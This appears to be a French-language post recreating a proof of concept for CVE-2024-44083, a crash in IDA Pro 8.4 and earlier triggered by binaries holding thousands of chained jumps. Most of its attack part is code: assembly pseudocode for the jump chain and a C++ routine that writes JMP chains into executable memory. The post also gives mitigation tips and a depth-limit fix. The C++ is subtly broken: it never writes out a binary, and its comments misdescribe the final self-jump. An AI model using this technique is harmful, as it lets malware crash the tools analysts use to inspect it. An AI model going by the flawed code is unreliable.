
mon CVE-2024-44083 PoC.
les dépôts PoC originaux ont été supprimés (github.com/Azvanzed/CVE-2024-44083, github.com/Azvanzed/IdaMeme) donc les voici. j'ai pensé les recréer pour ceux qui veulent comprendre comment ça fonctionne ou tester leur configuration.
IDA Pro ≤ 8.4 plante lors de l'analyse de binaires contenant des chaînes de sauts excessives.
ida64.dll ne limite pas la profondeur lorsqu'il suit des chaînes de sauts. donc si vous avez un binaire avec des milliers de sauts liés aboutissant au point d'entrée, IDA se tue tout seul.
| champ | valeur |
|---|---|
| CVE | CVE-2024-44083 |
| affecté | IDA Pro ≤ 8.4 |
| composant | ida64.dll |
| CWE | CWE-770 (épuisement des ressources) |
| impact | crash (DoS) |
l'idée est simple, créer une section remplie de sauts qui renvoient vers d'autres sauts
; pseudocode bien sûr
section .text
; des milliers de ceux-ci
jump_0:
jmp jump_1
jump_1:
jmp jump_2
jump_2:
jmp jump_3
; ... continuer ...
jump_9999:
jmp payload
payload:
call _start ; ceci crée la référence croisée qui casse tout
_start:
; IDA essaie de résoudre tous les sauts pointant ici
; boum, crash
ret
IDA essaie de suivre et de tracer tous ces sauts en construisant des références croisées, et avec suffisamment de sauts, il abandonne et plante.
si vous vouliez créer quelque chose comme ça en c++, vous feriez ceci :
#include <windows.h>
#include <cstring>
// l'idée est de générer une tonne d'instructions de saut
// qui s'enchaînent et finissent par atteindre le point d'entrée
void generate_jump_chain() {
// allouer de la mémoire exécutable pour notre chaîne de sauts
unsigned char* code = (unsigned char*)VirtualAlloc(
NULL,
10000 * 5 + 10, // 10 000 sauts × 5 octets + un peu de marge
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (!code) return;
int offset = 0;
// créer 10 000 sauts chaînés
for (int i = 0; i < 10000; i++) {
// écrire l'instruction JMP rel32 (E9 xx xx xx xx)
code[offset] = 0xE9; // opcode JMP
// calculer le déplacement relatif vers le prochain saut (5 octets plus loin)
int32_t rel = 5;
// copier le déplacement relatif sur 4 octets
memcpy(&code[offset + 1], &rel, 4);
offset += 5;
}
// le dernier saut crée une référence circulaire
// revenir 5 octets en arrière pour créer une boucle infinie
code[offset] = 0xE9;
int32_t rel = -5;
memcpy(&code[offset + 1], &rel, 4);
// vous pouvez aussi retourner une valeur pour faire plus crédible
offset += 5;
code[offset] = 0xC3; // ret
// c'est le motif qui fait planter IDA :
// 10 000 sauts → saut auto-référentiel → IDA se bloque
// pas de limite de profondeur dans la récursion → débordement de pile → plantage
// nettoyage
VirtualFree(code, 0, MEM_RELEASE);
}
en gros, vous écrivez juste un tas d'instructions JMP enchaînées. Quand IDA essaie d'être intelligent en les analysant, il manque de pile/mémoire.
si vous restez sur une ancienne version d'IDA :
désactivez l'auto-analyse avant d'ouvrir des fichiers suspects
limitez l'analyse des sections suspectes
ce que hex-rays devrait faire :
// pseudocode
#define MAX_JUMP_DEPTH 1000
void analyze_jumps(address_t addr, int depth) {
if (depth > MAX_JUMP_DEPTH) {
warn("chaîne de sauts trop profonde. échec.");
return; // ne pas planter, juste s'arrêter
}
address_t target = get_jump_target(addr);
if (target) {
analyze_jumps(target, depth + 1);
}
}
littéralement, ajoutez juste une limite de profondeur, c'est tout.
à des fins éducatives uniquement, ne faites pas n'importe quoi.